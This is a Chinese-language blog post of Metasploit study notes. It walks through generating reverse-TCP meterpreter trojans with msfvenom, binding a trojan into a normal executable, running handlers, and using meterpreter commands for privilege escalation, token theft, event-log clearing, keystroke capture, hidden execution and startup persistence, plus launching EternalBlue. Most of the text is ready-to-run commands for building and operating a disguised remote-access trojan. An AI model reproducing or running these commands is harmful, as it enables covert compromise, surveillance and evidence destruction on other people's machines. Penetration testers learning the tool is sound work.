2025年msfconsole学习

msfconsole学习工具 Quasar win AhMyth andriod msfconsole 启动 msfconsole msfconsole q 无启动状态显示 一 MSF 生成木马并连接 使用攻击模块 use exploit multi handler 指令 show options 查看需要填写的参数和参数填写状态 Name Current Setting Required

工具:

Quasar-win:

AhMyth-andriod:

msfconsole启动:

msfconsole

msfconsole -q :无启动状态显示

一、MSF生成木马并连接

使用攻击模块:use exploit/multi/handler

指令:show options – 查看需要填写的参数和参数填写状态

NameCurrent SettingRequiredDescription
LHOSTyesThe listen address (an interface may be specified)
LPORT4444yesThe listen port

设置LHOST和LPORT: set LHOST 本地ip LPORT 本地启用端口

查看payload:show payloads

设置payload:set payload windows/meterpreter/reverse_tcp

木马生成:

使用msfvenom

msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口

运行监听:

先进入使用模块

run

exploit

二、MSF木马VBS配置

windows-vbs:

vbs:源码型脚本

使用msfvenom

msfvenom -p windows/meterpreter/reverse_tcp -f vbs -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口

msfconsole -r file (文件中写相关命令,msfmu 会自动读取文件并执行)

三、MSF木马捆绑

将木马捆绑到正常文件当中

msfvenom -p windows/meterpreter/reverse_tcp -f exe -x ./test.exe -a x86 –platform windows -o ./kunbang.exe LHOST=连接ip LPORT=4444

注意:找一个有效的可执行文件

木马混淆

Meterpreter

一、概述

用于木马管理(操作电脑,功能完全)

二、操作

1. 连接之后,屏幕实时显示:screenshare

2.操作控制:ls查看文件

3.上传下载:download 文件名

#文件操作:

linux文件命令操作方式

文件路径:本机:getlwd 远程:getwd

下载文件:download 文件名

上传文件:upload

编辑:edit 文件名

搜索文件:search 文件名

查看挂载硬盘:show_mount

hash查看:checksum

#系统操作

编号描述命令
1提权getsystem
2清除事件日志clearev
3获取环境变量getenv
4获取pidgetpid
Command Description
——- ———–
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine提权恢复
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS

#网络操作

Command Description
——- ———–
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service端口转发
resolve Resolve a set of host names on the target
route View and modify the routing table
端口转发:

#其他操作

交互命令
键盘、鼠标操作和记录;关闭键盘、鼠标事件
修改时间戳

三、MSF链接多个木马

set exitonsession false #可以连接多个session,默认true

run -j #后台监听

jobs #查看监听

jobs -p 关闭监听

sessions -i id #进行操作

bg #回退

jobs -k #关闭监听

四、MSF木马持久化

show advanced #高级指令

run persistence -参数 #设置持久化

meterpreter> run persistence -参数
重新生成一个木马(vbs)放入启动项

五、MSF进程迁移

execute:

eg:execute -f notepad

学习参数

execute -f cmd -i进行交互 -H隐藏启动

execute -f /home/kali/Desktop/cmd.exe -m -d notepad #傀儡进程

六、MSF漏洞扫描

查找漏洞-使用此攻击模块-进行设置-进行检测-进行攻击

show target 设置攻击目标

back回退到msf6>

?/help #查看命令

search 漏洞名称 #搜索漏洞

check #检测该主机是否由此漏洞

eg:使用永恒之蓝进行攻击测试:代号:ms17_010_eternalblue

七、MSF漏洞扫描内网穿透

公网连接内网需要进行内网穿透

端口转发

八、MSF-Stager&Stage

payload三种方式:

single

Stager Stage

windows/(x64)/stage/stager

eg:windows/x64/meterpreter/reverse_tcp meterpreter:stage reverse_tcp:stager

攻击成功:先发送stage放入到对方电脑-只有连接作用

分类:

返回stage使用stager的连接方式

九、exploit小结

根据情况选择攻击模块并使用

根据情况选择payload并使用

查看选项:show options

查看高级:show advanced

设置参数:set

检测能否攻击

运行进行攻击

使用handler进行便捷监听

MSF-Linux攻击

msf6>use payload/linux/x64/meterpreter/reverse_tcp
进行设置
generate -f 文件格式 -o 输出路径 #生成木马
handler -H 连接ip -P 连接端口 -n 名字 -p payload

MSF-Mac攻击

OSX
和linux一样

MSF-Andriod&IOS攻击

MSF-生成跨平台木马

生成源码
可以跨平台执行的编程语言源码或执行文件
编程小号
上一篇 2025-03-01 15:46
下一篇 2025-02-23 16:11

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/hz/141692.html